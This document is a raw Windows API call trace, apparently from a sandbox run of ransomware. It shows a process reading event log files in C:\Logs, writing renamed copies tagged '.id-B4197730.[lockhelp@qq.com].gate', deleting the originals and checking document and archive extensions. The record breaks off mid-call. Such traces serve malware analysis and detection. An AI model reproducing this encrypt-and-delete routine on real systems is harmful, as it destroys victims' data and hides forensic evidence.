SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.085] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.085] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0277.086] GetLastError () returned 0x0 [0277.086] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11000, lpOverlapped=0x0) returned 1 [0277.155] WriteFile (in: hFile=0x418, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11010, lpOverlapped=0x0) returned 1 [0277.157] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.157] WriteFile (in: hFile=0x418, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x128, lpOverlapped=0x0) returned 1 [0277.157] SetEndOfFile (hFile=0x418) returned 1 [0277.157] CloseHandle (hObject=0x418) returned 1 [0277.158] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.159] SetEndOfFile (hFile=0x390) returned 1 [0277.160] CloseHandle (hObject=0x390) returned 1 [0277.160] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0277.160] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1 [0277.160] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0277.160] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0277.160] lstrlenW (lpString=".doc") returned 4 [0277.160] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.160] lstrlenW (lpString=".docx") returned 5 [0277.160] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.161] lstrlenW (lpString=".pdf") returned 4 [0277.161] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.161] lstrlenW (lpString=".xls") returned 4 [0277.161] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.161] lstrlenW (lpString=".xlsx") returned 5 [0277.161] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.161] lstrlenW (lpString=".ppt") returned 4 [0277.161] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.161] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0277.161] lstrlenW (lpString=".zip") returned 4 [0277.161] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.161] lstrlenW (lpString=".rar") returned 4 [0277.161] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.161] lstrlenW (lpString=".bz2") returned 4 [0277.161] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.161] lstrlenW (lpString=".7z") returned 3 [0277.161] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.161] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0277.161] lstrlenW (lpString=".dbf") returned 4 [0277.161] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.161] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0277.161] lstrlenW (lpString=".1cd") returned 4 [0277.161] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.161] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0277.161] lstrlenW (lpString=".jpg") returned 4 [0277.161] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.161] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0277.161] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0277.161] lstrlenW (lpString=".doc") returned 4 [0277.161] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.161] lstrlenW (lpString=".docx") returned 5 [0277.161] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.161] lstrlenW (lpString=".pdf") returned 4 [0277.162] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.162] lstrlenW (lpString=".xls") returned 4 [0277.162] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.162] lstrlenW (lpString=".xlsx") returned 5 [0277.162] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.162] lstrlenW (lpString=".ppt") returned 4 [0277.162] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.162] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0277.162] lstrlenW (lpString=".zip") returned 4 [0277.162] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.162] lstrlenW (lpString=".rar") returned 4 [0277.162] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.162] lstrlenW (lpString=".bz2") returned 4 [0277.162] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.162] lstrlenW (lpString=".7z") returned 3 [0277.162] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.162] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0277.162] lstrlenW (lpString=".dbf") returned 4 [0277.162] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.162] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0277.162] lstrlenW (lpString=".1cd") returned 4 [0277.162] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.162] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0277.162] lstrlenW (lpString=".jpg") returned 4 [0277.162] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.162] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0277.162] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Audit.evtx") returned 39 [0277.162] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0277.163] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0277.163] CloseHandle (hObject=0x390) returned 1 [0277.163] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20 [0277.163] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0277.163] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0277.163] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.163] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.163] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0277.163] GetLastError () returned 0x0 [0277.163] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11000, lpOverlapped=0x0) returned 1 [0277.232] WriteFile (in: hFile=0x418, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11010, lpOverlapped=0x0) returned 1 [0277.451] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.451] WriteFile (in: hFile=0x418, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x122, lpOverlapped=0x0) returned 1 [0277.451] SetEndOfFile (hFile=0x418) returned 1 [0277.451] CloseHandle (hObject=0x418) returned 1 [0277.453] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.453] SetEndOfFile (hFile=0x390) returned 1 [0277.454] CloseHandle (hObject=0x390) returned 1 [0277.454] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0277.454] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1 [0277.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0277.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0277.454] lstrlenW (lpString=".doc") returned 4 [0277.454] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.454] lstrlenW (lpString=".docx") returned 5 [0277.454] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.454] lstrlenW (lpString=".pdf") returned 4 [0277.454] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.454] lstrlenW (lpString=".xls") returned 4 [0277.454] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.454] lstrlenW (lpString=".xlsx") returned 5 [0277.455] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.455] lstrlenW (lpString=".ppt") returned 4 [0277.455] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0277.455] lstrlenW (lpString=".zip") returned 4 [0277.455] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.455] lstrlenW (lpString=".rar") returned 4 [0277.455] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.455] lstrlenW (lpString=".bz2") returned 4 [0277.455] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.455] lstrlenW (lpString=".7z") returned 3 [0277.455] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0277.455] lstrlenW (lpString=".dbf") returned 4 [0277.455] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0277.455] lstrlenW (lpString=".1cd") returned 4 [0277.455] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0277.455] lstrlenW (lpString=".jpg") returned 4 [0277.455] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0277.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0277.455] lstrlenW (lpString=".doc") returned 4 [0277.455] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.455] lstrlenW (lpString=".docx") returned 5 [0277.455] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.455] lstrlenW (lpString=".pdf") returned 4 [0277.455] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.455] lstrlenW (lpString=".xls") returned 4 [0277.455] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.455] lstrlenW (lpString=".xlsx") returned 5 [0277.456] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.456] lstrlenW (lpString=".ppt") returned 4 [0277.456] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0277.456] lstrlenW (lpString=".zip") returned 4 [0277.456] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.456] lstrlenW (lpString=".rar") returned 4 [0277.456] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.456] lstrlenW (lpString=".bz2") returned 4 [0277.456] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.456] lstrlenW (lpString=".7z") returned 3 [0277.456] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0277.456] lstrlenW (lpString=".dbf") returned 4 [0277.456] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0277.456] lstrlenW (lpString=".1cd") returned 4 [0277.456] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0277.456] lstrlenW (lpString=".jpg") returned 4 [0277.456] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.456] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0277.456] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Security.evtx") returned 42 [0277.456] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0277.456] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0277.457] CloseHandle (hObject=0x390) returned 1 [0277.457] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20 [0277.457] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0277.457] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0277.457] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.457] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.457] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0277.457] GetLastError () returned 0x0 [0277.457] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11000, lpOverlapped=0x0) returned 1 [0277.692] WriteFile (in: hFile=0x418, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11010, lpOverlapped=0x0) returned 1 [0277.694] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.694] WriteFile (in: hFile=0x418, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x128, lpOverlapped=0x0) returned 1 [0277.694] SetEndOfFile (hFile=0x418) returned 1 [0277.913] CloseHandle (hObject=0x418) returned 1 [0277.915] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.915] SetEndOfFile (hFile=0x390) returned 1 [0277.917] CloseHandle (hObject=0x390) returned 1 [0277.917] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0277.956] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 1 [0277.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0277.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0277.963] lstrlenW (lpString=".doc") returned 4 [0277.963] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.963] lstrlenW (lpString=".docx") returned 5 [0277.963] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.963] lstrlenW (lpString=".pdf") returned 4 [0277.963] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.963] lstrlenW (lpString=".xls") returned 4 [0277.963] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.963] lstrlenW (lpString=".xlsx") returned 5 [0277.963] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.963] lstrlenW (lpString=".ppt") returned 4 [0277.963] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0277.963] lstrlenW (lpString=".zip") returned 4 [0277.963] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.963] lstrlenW (lpString=".rar") returned 4 [0277.963] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.963] lstrlenW (lpString=".bz2") returned 4 [0277.964] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.964] lstrlenW (lpString=".7z") returned 3 [0277.964] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.964] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0277.964] lstrlenW (lpString=".dbf") returned 4 [0277.964] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.964] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0277.964] lstrlenW (lpString=".1cd") returned 4 [0277.964] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.964] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0277.964] lstrlenW (lpString=".jpg") returned 4 [0277.964] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.964] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0277.964] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0277.964] lstrlenW (lpString=".doc") returned 4 [0277.964] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.964] lstrlenW (lpString=".docx") returned 5 [0277.964] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.964] lstrlenW (lpString=".pdf") returned 4 [0277.964] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.964] lstrlenW (lpString=".xls") returned 4 [0277.964] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.964] lstrlenW (lpString=".xlsx") returned 5 [0277.964] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.964] lstrlenW (lpString=".ppt") returned 4 [0277.964] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.964] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0277.964] lstrlenW (lpString=".zip") returned 4 [0277.964] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.964] lstrlenW (lpString=".rar") returned 4 [0277.964] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.964] lstrlenW (lpString=".bz2") returned 4 [0277.964] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.964] lstrlenW (lpString=".7z") returned 3 [0277.964] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.964] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0277.964] lstrlenW (lpString=".dbf") returned 4 [0277.965] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.965] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0277.965] lstrlenW (lpString=".1cd") returned 4 [0277.965] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.965] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0277.965] lstrlenW (lpString=".jpg") returned 4 [0277.965] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.965] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0277.965] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 72 [0277.965] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0278.150] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0278.150] CloseHandle (hObject=0x448) returned 1 [0278.150] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20 [0278.150] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.150] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0278.150] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.151] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.151] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0278.151] GetLastError () returned 0x0 [0278.151] ReadFile (in: hFile=0x448, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11000, lpOverlapped=0x0) returned 1 [0278.277] WriteFile (in: hFile=0x408, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11010, lpOverlapped=0x0) returned 1 [0278.278] ReadFile (in: hFile=0x448, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.278] WriteFile (in: hFile=0x408, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x164, lpOverlapped=0x0) returned 1 [0278.278] SetEndOfFile (hFile=0x408) returned 1 [0278.559] CloseHandle (hObject=0x408) returned 1 [0278.765] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, 